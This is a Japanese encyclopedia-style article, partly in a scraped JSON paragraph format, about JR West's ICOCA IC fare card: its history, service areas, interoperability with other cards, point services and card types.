京阪バスが2017年にICOCA発行元であるJR西日本の許諾を取り付け、取扱事業者が独自に展開するポイントサービスという新たな道を開拓。それを皮切りに現在では近畿地方のJR西日本以外の鉄道・バスで独自にポイントを付与するサービスが拡がっている。
なお、下記各社でもポイントサービスを実施しているが、付与されたポイントをICOCAにチャージすることはできない。
他社ICカードとの相互利用については後述する。
ICOCA定期券による「新幹線乗車サービス」を除きICOCA単独での新幹線への乗車はできないが、新幹線駅の乗り換え改札口では、東海道・山陽新幹線でのチケットレスサービス「EX-ICサービス」との連携により、ICOCAとの組み合わせで新幹線と在来線の乗り継ぎができるようになった。
JR西日本とJR四国の二社相互、JR西日本・あいの風とやま鉄道・IRいしかわ鉄道の三社相互に跨っての連続利用が可能。ただし、1回での利用範囲には制限がありこれを超える場合は別途精算が必要になる。
近畿圏においては大阪近郊区間やアーバンネットワークとは完全には一致していない(大阪近郊区間でもICOCAエリアに含まれない区間がある。後述参照)。
†を記した区間はPiTaPaポストペイサービス(2018年10月1日サービス開始)の対象区間。
以下は2023年4月1日現在のエリア。
なお、宮島連絡船(子会社のJR西日本宮島フェリーが運行)は2023年9月13日からICOCAとPASPYの併用導入となったが、カードリーダーはICOCA用とPASPY用で別に設置している。なお、2023年9月12日までは、PASPYのみを導入しており、交通系ICカード全国相互利用サービスによりICOCAが利用可能となっていた。
同社が発行・導入しているecomycaおよび富山ライトレール時代に発行していたpasscaと併用導入であるが、カードリーダーはICOCA用とecomyca・passca用で別に設置している。
なお、生駒鋼索線(生駒ケーブル)や葛城索道線(葛城山ロープウェイ)ではPiTaPaを含めたICカードそのものが使えない。
同社の路線は2015年に近鉄から移管されたが、移管前の近鉄時代はICカードの利用は出来なかった。
以下の鉄道事業者では、IC乗車券としての利用には対応していないが、駅窓口・券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、ICOCA電子マネーによる決済となることもあり、PiTaPaは利用できない。
以下のバス事業者ではシステム上では大阪バス扱いで簡易端末での対応となる。ただし、ICOCAは発売しない(北海道内ではJR北海道がKitaca、函館市企業局交通部(函館市電)・函館バスがICAS nimocaを発売しており、交通系ICカード全国相互利用サービスにより利用可能。ただし、SAPICAは利用できない)。
以下のバス事業者では、IC乗車券としての利用には対応していないが、バス窓口・バス券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、ICOCA電子マネーによる決済となることもあり、PiTaPaショッピングサービスと併用する社局を除き、PiTaPaは利用できない。
宮島航路(JR西日本宮島フェリー・宮島松大汽船)では、両社とも乗船前に桟橋改札口のICOCA自動改札機または有人改札のICOCAカードリーダーにタッチすることで利用可能。
宮島口桟橋は2023年10月1日の宮島訪問税徴収開始に先立ち、同年9月13日にICOCAの自動改札機が導入されたため、PASPYを利用する際および障がい者手帳・課税対象外証明書・1年分一時納付証明書を使用してICOCAを利用する際は両社とも有人改札のカードリーダーで対応している。カードリーダーはICOCA用とPASPY用で別に設置している。なお、自動改札機導入以前のJR西日本宮島フェリーは、乗下船とも宮島桟橋で改札を行い宮島口桟橋では改札を行っていなかった。
以下の船舶事業者では、IC乗車券としての利用には対応していないが、港窓口・券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、ICOCA電子マネーによる決済となることもあり、PiTaPaは利用できない。
京阪電気鉄道・近畿日本鉄道以外で以下のPiTaPaも取り扱う社局では、2017年から順次ICOCAおよびICOCA定期券の販売を開始した。いずれもPiTaPaを先行導入している社局においてICOCAを併売するもので、原則として定期券販売箇所(窓口または券売機)で販売する。特記がない場合、各社局とも全線・全区間で利用可能。
SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)はJR四国を含む全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。また、他社利用分や自動券売機でのきっぷの購入金額部分は付与対象外。
2018年9月14日まではJR西日本のエリアは「近畿圏エリア」と「岡山・広島・山陰・香川エリア」と「石川・富山エリア」に分かれており、エリアをまたがっての利用は出来なかったが、2018年9月15日のエリア拡大の際に一体化されている。
近畿圏エリア(PiTaPaポストペイサービス対象エリアと播但線・姫新線・紀勢本線のエリアが対象)については割愛する。
SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)はJR四国を含む全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。
岡山・広島・山陰・香川エリアは「岡山・福山地区」、「広島地区」、「松江・米子・伯備地区」、「香川地区」に地区分けされており、各地区内での利用および「岡山・福山地区」と隣接地区同士の地区を跨っての利用のみが可能であった。
2015年3月26日よりあいの風とやま鉄道の一部(「富山エリア」)で利用を開始し、2017年4月15日にJR西日本・IRいしかわ鉄道・あいの風とやま鉄道の3社に跨った「石川・富山エリア」に利用範囲が拡大された。SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)は全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。
なお、2018年9月15日のエリア一体化後も、北陸本線以外の金沢・富山エリアとその他のエリアとの連続利用はできない。
ICOCA(相互利用可能なICカードを含む)でJR西日本のICOCAエリア内を連続乗車できる区間は、原則として「営業キロ200km以内」とされており、エリア内であってもこれを超える連続乗車はできない。ただし、以下の条件に合致する場合は200kmを超える連続乗車が可能となる。
IRいしかわ鉄道線・あいの風とやま鉄道線を区間に含む場合、営業キロに関係なく北陸本線大聖寺駅を超えて西側とのSF利用による連続乗車はできない(特急「サンダーバード」で七尾線内の駅を発着する場合も同様)。
また、ICOCAでのと鉄道が運行する七尾線 七尾駅 - 和倉温泉駅間の普通列車に乗車することは出来ない。
TOICAエリアとは亀山駅および米原駅で、SUGOCAエリアとは下関駅で連続しているが、それぞれの駅を跨いでICOCAエリアとTOICAエリアまたはSUGOCAエリアとのSF利用による連続乗車はできない(ICOCAエリアとTOICAエリアまたはSUGOCAエリアを跨ぐIC定期券は発行される)。
ICOCA利用可能エリアでICOCAのカード残額を利用して乗車した場合、乗車経路ならびに大都市近郊区間内外を問わず、運賃が最も安くなる経路で精算される。下記の区間はICOCAのカード残額を利用して乗車した際の「最も安くなる経路」に含めることができるが、ICOCA利用可能エリアに含まれないため、この区間を実際にICOCAのカード残額で乗車することはできない。これは福岡近郊区間で利用可能エリア外を通過利用できるSUGOCAとは取り扱いが異なっている。
Suica、TOICA、SUGOCAなどの他のICカードと同様に、SF利用では途中下車や各種割引などの対象外となる。
2004年8月1日にSuicaとの相互利用を開始し、2013年3月23日にはPASMOなどの全国10種のICカードの相互利用を開始するなど、それ以降相互利用可能エリアは拡大している。
他社との連絡定期券としては2010年5月に京阪電気鉄道とのICOCA連絡定期券の発売が(JR西日本のICOCAエリアの各駅で販売)、2011年6月1日より、京阪での発売が(京阪線内定期・JR西日本線連絡定期も:大津線系統の各駅は、ICOCAの発売・定期券の利用範囲から除く)開始され、2012年12月1日より近鉄でもICOCA(近鉄グループのポイントカード機能付の「KIPS ICOCAカード」も)とICOCA定期券(近鉄線内定期およびJR西日本・京阪・阪神各社との連絡定期券、「近鉄 - JR西日本 - 近鉄」通過定期券)の発売を開始し、その後、近鉄とJR東海・南海・名鉄各社との連絡定期券も発売を開始した。
関西の私鉄の各駅で発売されるICOCAについては、JR西日本の各駅で発売されているものと同じ仕様(表面のデザイン・裏面の表記とも)のものとなっており、裏面の記載番号についても「JW」より始まるものとなっている(近鉄で発売されるKIPS ICOCA、あいの風とやま鉄道のAinokaze ICOCAでも同様である)。
JR四国では、2012年3月17日に本四備讃線と高松駅・坂出駅でICOCAが導入された。同社ではICカード初導入である。
完全な相互利用ではないが、広島のスカイレールサービスでは、2013年1月にICOCAを利用可能とした新たな自動改札システムの運用を開始した。一般的な入退場管理システムをベースとしたもので、同社の定期券と回数券に限りICOCAに搭載して利用することができる。
以下のカードは、交通系ICカード全国相互利用サービスにより各カードエリアでのICOCA利用および各カードでのICOCAエリア利用が可能となっている。各エリア内でのチャージは、それぞれのカード対応の自動券売機、自動精算機、簡易入金機で可能である。なお、一部の事業者が発行している特割用カードは相互利用の対象となっていない。
一方、以下のカードは、ICOCAを当該ICカードのエリアで利用することはできるが、当該ICカードをICOCAエリアで利用することはできない。
滋賀県の甲賀市が2017年3月からJR西日本草津線の利用促進を目的に子育て世帯や生活困窮家庭などに対し無料配布したオリジナルデザインICOCAがインターネットオークションに出品され、1枚当たり6万円で落札されていたことが判明した。市では「配布の趣旨を逸脱した行為である」として、適切な利用を呼び掛けている。
2003年6月28日から7月26日まで京阪神の主要駅の一部でICOCAモニターテストが行われた。正式導入前であくまでもテストなので、1,000名限定の募集となった。 | [
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"text": "ICOCA(イコカ)は、西日本旅客鉄道(JR西日本)が発行し、JR西日本およびその他取扱事業者で発売されるサイバネ規格のICカード乗車券である。",
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"paragraph_id": 2,
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"text": "ソニーの非接触型ICカードFeliCaの技術を用いた乗車カードで、プリペイド方式の乗車券の機能をはじめ、定期券、駅売店等での支払いに使えるICOCA電子マネーの機能を併せ持つカードである。カードで利用できる金額は、駅などに設置されたチャージ機などでチャージ(入金)することにより追加ができ、使い捨てることなく繰り返してカードを使用できる。",
"title": "概要"
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"paragraph_id": 3,
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"text": "2001年5月15日の社長定例会見において、定期券や磁気式ストアードフェアカードであるJスルーカードを2003年をめどにIC化を検討することを発表し、2002年12月18日の社長定例会見において、正式名称をICOCA(イコカ)とすることを発表した。2003年6月27日付けで商標登録(第4685722号)がなされている。",
"title": "概要"
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"text": "カードの名称は、ICオペレーティングカード (IC Operating CArd) の略称であるが、関西方言の「行こか」(「行こうか」の意味)にも掛けている。また、カードの裏面の右下に記載の番号は「JW」で始まる17桁の英数字であるが、この「JW」はJR西日本の英語表記「JR West」の頭文字を採ったものである。",
"title": "概要"
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"paragraph_id": 5,
"tag": "p",
"text": "2003年11月1日からJR西日本のアーバンネットワーク(京阪神地区)の駅で運用が開始された。全国の主要な交通系ICカードの中では2001年に開始したJR東日本のSuicaに次ぐ導入であった。その後はJR西日本エリア内の中国地方や北陸地方にもエリアを拡大し、2013年には交通系ICカード全国相互利用サービスが開始された。またエリアの拡大によって2018年9月15日にICOCAの自社内エリアがつながった。JR西日本の各駅では、ICOCAの自動改札機での利用率も半数を超えている事から、ICOCA専用改札機が大阪駅御堂筋口で初設置され、その後も京橋駅や天王寺駅をはじめ、関西の多くの駅に設置されている。",
"title": "概要"
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"paragraph_id": 6,
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"text": "JR西日本でのICOCAの発行枚数は、サービス開始の2003年11月から5か月余りで100万枚を突破した。その後、2014年11月には累計発行枚数が1,000万枚を突破、2019年3月には累計発行枚数が2,000万枚、2021年10月時点で2,500万枚、2023年6月末時点で2,900万枚に達している。交通系ICカードの中では約8700万枚発行のSuica、約4000万枚のPASMOに次ぐ発行枚数を誇る。JR四国や、PiTaPa発行事業者である関西私鉄やOsaka Metro等にも導入されている。JRが他社の交通系ICカードを導入している唯一の事例である。",
"title": "概要"
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"text": "2023年にはスマートフォン向けの「モバイルICOCA」のサービスを開始した。モバイル端末向けの交通系ICカードサービスは、モバイルSuica、モバイルPASMOに次ぐ3例目である。",
"title": "概要"
},
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"paragraph_id": 8,
"tag": "p",
"text": "ICOCAを使用した電子マネーサービス「ICOCA電子マネー」については、2005年10月1日から開始し、京阪神(関西エリア)や岡山・広島エリアの駅、福岡エリアの一部の駅(山陽新幹線の博多駅、小倉駅)のコンビニエンスストア「ハートイン」と「デイリーイン」の各店のほか、関西・中国地区のイオングループやビックカメラ、ヨドバシカメラ、すかいらーくグループ各店(四国エリアを含む)など、またファミリーマート(関西エリア、岡山・広島エリア、北陸エリアの全店)やローソン、ミニストップ、セブン-イレブン(3社とも、北陸・山陰を含むJR西日本エリア、およびJR四国エリアに導入)などのコンビニエンスストア等、利用可能な店舗は順次拡大中である。加えて、ICOCAに対応した自動販売機やコインロッカーもある。2008年3月18日からは、Suicaショッピングサービス(現・Suica電子マネー)と相互利用を行っているほか、2010年3月13日より、JR東海の「TOICA電子マネー」と、さらに2011年3月5日からは、JR九州の「SUGOCA電子マネー」と相互利用を開始した。そして2013年3月23日からの「全国相互利用サービス」の開始により、Kitaca(JR北海道)・PASMO(関東民鉄)・manaca(名鉄他)・nimoca(西鉄他)・はやかけん(福岡市交通局)の各電子マネーサービスとも相互利用を行っている。ただし、PiTaPaショッピングサービスとの相互利用は、PiTaPaが他の交通系ICカードと適用される法令が異なりクレジットカード扱いとなるため、2013年3月23日以降も行われておらず、PiTaPaショッピングサービス加盟店においては、ICOCA(「全国相互利用サービス」対応の各カードとも)を電子マネーとして利用することはできない。",
"title": "概要"
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{
"paragraph_id": 9,
"tag": "p",
"text": "2014年7月22日からWii U、12月9日からNewニンテンドー3DS・Newニンテンドー3DS LLの支払い決済に、ICOCAを含めた交通系電子マネーを利用できるようになった。このサービスは2022年1月18日9時をもって終了した。",
"title": "概要"
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{
"paragraph_id": 10,
"tag": "p",
"text": "JR西日本1社のみの発行体制を維持しつつ、取扱事業者は増加傾向にあり、北陸地方から四国地方までの西日本の26社局が取扱事業者としてカードの発売を行っている(2021年8月21日現在)。",
"title": "概要"
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"paragraph_id": 11,
"tag": "p",
"text": "2009年11月、JR西日本と関西の私鉄各社を中心にポストペイ型(後払い式)IC乗車カード「PiTaPa」を発行するスルッとKANSAI協議会との間で、「ICカード乗車券を活用した連携実現に向けた合意書」を締結。同年12月15日には「ICカード乗車券を活用した新たな連携サービスについて」として、プリペイド方式のICOCAとポストペイ方式のPiTaPaとの棲み分けを行うことにより、両者間で幅広い連携サービスをはかることを発表した。この合意を受けて、2011年6月に京阪電気鉄道(京阪電鉄)でICOCA(ICOCA定期券含む)の販売を開始し、続いて2012年12月には近畿日本鉄道(近鉄)でICOCA(ICOCA定期券含む)の販売を開始。",
"title": "概要"
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"paragraph_id": 12,
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"text": "さらに2017年3月31日、スルッとKANSAI協議会が磁気式プリペイドカードの販売終了を見据えて、「ICカード乗車券(ICOCAとPiTaPa)を活用した連携サービスの拡大について」として大阪市交通局(地下鉄・ニュートラム、現大阪市高速電気軌道)・南海電気鉄道・泉北高速鉄道と京都市交通局(地下鉄・バス)・山陽電気鉄道・神戸電鉄・大阪高速鉄道・神戸新交通・北神急行電鉄・京阪電気鉄道(大津線)と神戸市交通局(地下鉄・バス)・山陽バスでも順次ICOCAの販売(山陽バスを除く)および定期券機能の導入(神戸新交通は除く)が開始された。一方、スルッとKANSAI協議会加盟各社のうち、阪急阪神ホールディングス(阪急阪神東宝グループ)傘下の鉄道事業者4社(阪急電鉄・阪神電気鉄道・能勢電鉄・北大阪急行電鉄)はスルッとKANSAI対応カードの発売終了後も「磁気カードを支持する利用客が多かった」(阪急阪神HDの杉山健博社長談)との理由から、4社間で磁気式共通プリペイドカード「阪急 阪神 能勢 北急レールウェイカード」を発行しICOCAの販売を見送る一方、2017年春より阪急・北急との間でも PiTaPa による連絡定期券の発売を行った。その後、2019年3月1日より4社でもICOCAの販売を開始し、「レールウェイカード」を含めた磁気式プリペイドカードの取り扱いを終了している(詳細後述)。こうした動きに加え、2018年10月1日からアーバンネットワーク(京阪神地区)の一部ICOCAエリアでPiTaPaのポストペイサービスを開始しており、両者エリア間のシームレス化によって「プリペイドはICOCA、ポストペイはPiTaPa」という棲み分けの加速がすすんでいるものの、PiTaPaはポストペイという制度上与信審査が必要なことから2021年時点で発行枚数約2500万枚のICOCAが会員数約330万人のPiTaPaを大幅に上回っている。",
"title": "概要"
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"text": "なお、先行導入した近鉄は独自のポイントカード「KIPS」にICOCAを搭載した「KIPS ICOCA」をJR西日本と共同発行していた。また、京阪バスグループ4社(京阪バス・京阪京都交通・京都京阪バス・江若交通)では、ICOCAでバスを利用する度にバスポイントがたまる制度を2017年4月1日より開始した。さらに、神戸新交通では同社においてICOCAを利用する度にチャージ額を一部還元するサービス(引き換えに同社における回数券カードの発売を終了)を2020年4月1日より実施している。そのほか、京阪電気鉄道においても同社の京阪線でICOCAを利用する度にポイントを還元する制度を2020年12月1日より開始(引き換えに同社における回数券の発売を終了)する予定である。また、2021年春からは大阪メトロのポイントサービス(Osaka Point)の対象がICOCAにも拡大した。また、神戸市営バス及び山陽バス(2021年4月1日より)では独自のポイントサービスが、近江鉄道バスではICOCAポイントサービスの導入が、阪神電気鉄道ではICOCAを対象とした独自のポイントサービス(引き換えに同社における回数券カードの発売を終了)の導入をそれぞれ決定している。",
"title": "概要"
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"paragraph_id": 14,
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"text": "2012年からは、四国旅客鉄道(JR四国)でもJR西日本と相互直通運転を行っている快速「マリンライナー」(岡山駅 - 高松駅)の標準停車駅で一部利用を開始した。システム導入はJR西日本が主導した。2014年からはJR四国でもICOCAを発売することになった(発行ではない)。導入当初は乗車のみ可能であり、JR四国では発売はおろかチャージすら扱っていなかった。後述のとおり、現在も取扱いに一部制限がある。JRが自前のシステムではなく、他社のICカードシステムを導入する唯一の例である。",
"title": "概要"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "2015年3月21日より北陸本線から北陸新幹線開業に伴って第三セクターに転換したあいの風とやま鉄道でも発売が開始され、3月26日より運用開始した。同じく元北陸本線のIRいしかわ鉄道でもICカード乗車券を新規に導入し、2017年4月15日よりICOCAのサービスを開始した。両社ともJR西日本が支援を行っている。",
"title": "概要"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "その後も、主に西日本各府県にある鉄道・バス会社において、JR西日本が支援を行うことでICOCAが導入されている。",
"title": "概要"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "イメージキャラクターはカモノハシをモチーフにした「カモノハシのイコちゃん」。「ICOCAでいこか〜タッチしていこか〜」、ICOCA電子マネーサービスには「ICOCAで買おか〜タッチして買おか〜」というキャッチフレーズがあり、テレビCMやパンフレットなどで仲間とイコちゃんが呼び掛けている。",
"title": "概要"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "JR西日本のイメージキャラクターを務めていた仲間由紀恵と共に出演する機会も多い。ICOCAの広告は、京阪神・岡山・広島地区の駅のポスターおよび車両(321系や225系等)の液晶ディスプレイで放映されている。ICOCAとSuicaの相互利用開始時には、巨大化したイコちゃんが東京都内に出現し、仲間由紀恵が「東京で〜」イコちゃんが「ICOCA〜」と叫ぶテレビCMや広告が数か月間に亘って宣伝された。仲間の背景はセットで作られた東京駅という設定で、自動改札機もJR東日本で多く使われているタイプだったが、実際には大阪駅の中央改札口にそっくりであった。",
"title": "概要"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "2013年3月23日からの「全国相互利用サービス」開始にあわせて久々のテレビCMが放映され、立体アニメーションでのイコちゃんが登場した。",
"title": "概要"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "ICOCAのサービスエリアについては下記の利用可能エリアを参照。",
"title": "取扱事業者一覧"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "2023年4月1日現在、JR西日本、近鉄以外にも33事業者がカードの発売を行う。これは日本の交通系ICカードの中ではPASMO(105事業者)に次いで多い。",
"title": "取扱事業者一覧"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "特記なき限り、各カードはICOCAエリア内のJR西日本の各駅のみどりの窓口や、近鉄などの取扱事業者の各駅の窓口、並びにICOCAのマークがある各事業者の各駅にある一部の自動券売機で購入できる。",
"title": "種類"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "プリペイド方式の普通乗車券機能(ストアードフェア機能)と電子マネー機能がある無記名式のカード。発売額は1000円、2000円、3000円、5000円、10000円の5種類である。発売額には500円のデポジット(預り金)が含まれており、購入時点で最初に使える残高はデポジットを引いた金額となる。デポジットはカードが不要になった際に、各事業者の取り扱い窓口で返却をすると払い戻される。",
"title": "種類"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "SuicaやSUGOCA,Kitacaなどと異なり、記名式の通常版ICOCAは発売されていない。そのため紛失時の補償もない。(大人用カードの記名式を希望する場合は、スマートICOCA、ICOCA定期券のいずれかが必要) 小児は小児用ICカード(こどもICOCA)があるがあるため他のICカード同様、自動的に記名式となる。(後述)",
"title": "種類"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "小児運賃が適用される旅客に対して発売されるカード。記名式で、氏名・生年月日・性別の登録を発売時に行う。発売額は2000円のみ。",
"title": "種類"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "カードのデザインについては、JR西日本ではこどもICOCA専用デザインのカード(クリーム色の地色に「カモノハシのイコちゃん」が入ったもの)が発行されるが、近鉄・京阪では大人用のICOCAと同じデザインのカードの中央に、「丸に小」のマークを印字したものが発行される。なお、JR西日本発行分も2015年4月から大人用とデザインが統一されており、専用デザイン柄は在庫が無くなり次第発売終了となる。",
"title": "種類"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "購入時に使用者の年齢の確認できる身分証明書が必要となる(代理人による購入も可能)ため、自動券売機では購入不可。利用者本人が大人運賃を適用される年齢に達する年の年度末が有効期限とされている。",
"title": "種類"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "JR西日本において、ICOCAが導入された当初は大人用のみの設定で小児用のICOCAは発売しておらず、後に発行を開始した小児用ICOCA定期券は当初はストアードフェア機能は使用できなかったが、2004年8月から利用を開始した。JRグループで小児用IC乗車カードを発行したのはICOCAが初めてである。",
"title": "種類"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "ICOCAに定期乗車券を搭載したもの。ストアードフェア機能自体は通常のICOCAと同じ(ただし身体障害者割引等が適用されたICOCA定期券にはストアードフェア機能がない)で、ICOCAの前面に定期券情報が印字される(ただし四日市あすなろう鉄道およびバス事業者(京都市営バス・大阪シティバス・神戸市バス・山陽バスを除く)のICOCA定期券は券面に印字されないため、別紙で「ICOCA定期券内容控」が交付される。)。",
"title": "種類"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "既に所持している通常版のICOCA・こどもICOCAに後から定期券を搭載することが可能。カードの新規購入では定期運賃相当額にデポジットの500円を加えた額、通常版ICOCAからの変更では定期運賃相当額等のみが発売額となる。JR西日本のICOCAエリア内で完結する区間においては、連続した区間を二区間に分割して一枚のICOCA定期券にまとめることもできる。フレックス・フレックスパルを付加させることも可能。新幹線停車駅が2駅以上含まれる場合はICOCA定期券を新幹線で自由席特急券部分をチャージから引き去る事で利用することができる。なお、パスカルは付加することはできない。",
"title": "種類"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "ICOCAエリア内のJR西日本の各駅にあるみどりの窓口の他、みどりの券売機やピンク色の自動券売機、近鉄などの取扱事業者各駅にある一部の窓口や自動定期券販売機で発売されている。ただし他社線のみのICOCA定期券を他社で購入することは出来ない。JR四国線区間を含むICOCA定期券は一切発売しない。IRいしかわ鉄道(2017年4月15日発売開始)は一部の窓口でのみ発売し、自動券売機はすべて非対応である。またICOCAエリア内であってもICOCA定期券の設定が無い区間がある。逆に(狭義の)ICOCAエリアを含まず、ICOCA取扱事業者の利用可能エリアと他地域カードエリアの連絡定期券の設定もある(近鉄-JR東海、名鉄)。",
"title": "種類"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "通常のICOCA(大人用)には記名式のカードが存在しないため、ICOCA定期券の定期券機能のみを払い戻すと、無記名のカードとなる。",
"title": "種類"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "ICOCAの機能に加え、クレジットカードによる電子決済でチャージ(入金)ができる「クイックチャージサービス」、J-WESTカードの「J-WESTポイント」→「WESTERポイント」からのチャージ機能などが追加されたカード。利用するには、クレジットカードの登録が必要。",
"title": "種類"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "SMART ICOCA定期券はICOCAエリア内のJR西日本の各駅にあるみどりの窓口や券売機でのみ定期券機能を付加することができ、他社局の窓口での取り扱いや他社局内のみのSMART ICOCA定期券をJR西日本の窓口や券売機で購入することはできない。",
"title": "種類"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "JR西日本が発行するカード表面にイラストなどオリジナルの図柄を入れたデザインICOCAカードが下記のとおり存在している。原則として大人用のみの発売で、定期券の機能を付けることもできない(一部例外あり)。プリペイドでの利用は通常デザインのICOCAと何ら変わりはない。定期券にできるカードかどうかは、カード右下の切り欠きの数でも判別できる(1個:できる、2個:できない)。カードの折損などでの再発行やカードの機能向上などを行う都合による交換時は、通年販売の記念デザインカードのうちSHIKOKU ICOCA、Ainokaze ICOCAとIRいしかわ鉄道ICOCAを除き、ICOCA&はるかオリジナルデザインICOCAを含め、通常デザインのICOCAカードへ交換することになる。",
"title": "種類"
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{
"paragraph_id": 36,
"tag": "p",
"text": "これらのうち、「カープICOCA」(優勝記念バージョンが3時間で完売)や「タイガースICOCA」(発売初日に7時間待ちの行列が発生)は大きな人気を集め、販売時に話題となった。",
"title": "種類"
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{
"paragraph_id": 37,
"tag": "p",
"text": "2023年3月22日にサービスを開始した、スマートフォンで「ICOCA」の機能を利用できるサービス。スマートフォンアプリの操作により利用が可能で、代金はクレジットカードによる決済などとなる。",
"title": "種類"
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{
"paragraph_id": 38,
"tag": "p",
"text": "2023年3月22日より、Android OS搭載のスマートフォンでサービスを開始した。",
"title": "種類"
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"paragraph_id": 39,
"tag": "p",
"text": "2023年6月27日、実質的な「iOS版モバイルICOCA」となる「Apple PayのICOCA」が発表され、同日付でサービスが開始された",
"title": "種類"
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{
"paragraph_id": 40,
"tag": "p",
"text": "ICOCAの機能に加え、近鉄グループ各社の「KIPSポイントサービス」の特典が受けられるカード。2012年12月1日発行開始。近鉄主要駅の定期券取扱窓口で発行・取扱いを行っている。12歳以上限定(小学生は不可)で発売され、購入時に本人確認証明書類(運転免許証、個人番号カード等)が必要。",
"title": "種類"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "定期券機能の追加も可能で、ICOCAとしては唯一裏面に定期券情報を表示する。なお、近鉄以外の鉄道事業者では、定期券機能を追加できない。",
"title": "種類"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "近鉄線を利用した場合(現金で定期券を購入する場合を含む)、200円(税別)につき1ポイントが加算される。新規購入時には、2,000円(デポジット500円を含む)となる。",
"title": "種類"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "また、ショッピング時もポイントが付与される。なお、KIPS PiTaPaカードとはポイントの付与率・利用可能店舗が異なる場合がある。",
"title": "種類"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "KIPSクレジットカード会員に限り、KIPSポイントカード(現金払いポイント専用カード・2013年1月25日発行開始)を含むKIPSポイントのとりまとめが可能(KIPSネットサービスにて事前登録が必要)。",
"title": "種類"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "2023年1月31日をもってKIPS ICOCAカードの新規発行を終了した。なお、発行済みのKIPS ICOCAは継続使用できるほか、紛失・盗難・磁気不良時の再発行等には対応する。",
"title": "種類"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "2016年4月8日より発行されているICOCAをベースとした訪日外国人旅行者向け「関西統一交通パス」。関西経済連合会がJR西日本をはじめとする9社局や新関西国際空港などと協力して発行する。ICOCA機能に加え、関西国際空港内の41店舗を含む約90カ所の商業施設や観光スポットで利用できる優待特典が付帯する。",
"title": "種類"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "カードには関西ゆかりの手塚治虫原作の漫画「鉄腕アトム」のイラストが描かれており、関西広域の鉄道路線マップ付き利用ガイドが付属する。当初は3000円(デポジット500円含む)のカード(カードの色は桃色)を3万枚限定で販売。2017年4月17日より2000円(デポジット500円含む)のカード(カードの色は黄色)を枚数限定無しで販売開始したが、2019年4月16日より再び3000円カードとなり、2000円カードは売り切れ次第、発売終了となる。",
"title": "種類"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "発売箇所は関西空港駅および大阪・京都・神戸市内のJR西日本・阪急・阪神・京阪・近鉄・南海・地下鉄主要駅等。外国パスポートを有し、「短期滞在」に該当する在留資格を有する訪日外国人のみが購入可能で、購入時にはパスポートの提示が必要になる。",
"title": "種類"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "2021年2月1日より発行開始の「J-WESTゴールドカード」の会員限定で、WESTERポイント(旧:J-WESTポイント)の交換商品として発行する限定ICOCAである。定期券の搭載は不可。",
"title": "種類"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "駅の自動改札機やバスの乗降口、店舗のレジなどに設置されたカード読み取り機にICOCAをあてて(タッチして)カードを読み取らせることにより、あらかじめチャージされた金額から利用金額分を引き去って決済をするというのが基本的な使い方である。ICOCAは電波を使った無線通信によりデータの読み取りや書き込みができる非接触型のICカードであるので、パスケース等に入れたままでも利用でき、利用するごとにパスケース等から取り出したりする必要がないが、電波を吸収する性質がある硬貨などの金属類や、使用方法が類似する他用途の非接触型ICカード(ICチップを搭載した運転免許証やtaspo・楽天Edy ・nanaco・WAON・Speedpass・一部のゲームのマスコットなど)を一緒に入れていると、カードが正しく読み取れないことがある。",
"title": "利用方法"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "ICOCAのストアードフェア (SF) 機能を利用するには、精算前にあらかじめカードにチャージ(入金)がされている必要がある。チャージ金額の上限は20,000円である。チャージ方法は現金またはクレジットカード(SMART ICOCAのみ)に限られ、Jスルーカードやオレンジカード(JR西日本)、またはスルッとKANSAI対応カード(近鉄・京阪など)を用いてのチャージはできない。Suica、PASMOなどで実施しているオートチャージは、SMART ICOCAのクイックチャージ(クレジットカードによる決済)があることから行っていない。",
"title": "利用方法"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "チャージは基本的に駅構内に於いては以下の場所で行う。",
"title": "利用方法"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "なお、ICOCAエリア内の以下の駅では駅構内でチャージができない。",
"title": "利用方法"
},
{
"paragraph_id": 54,
"tag": "p",
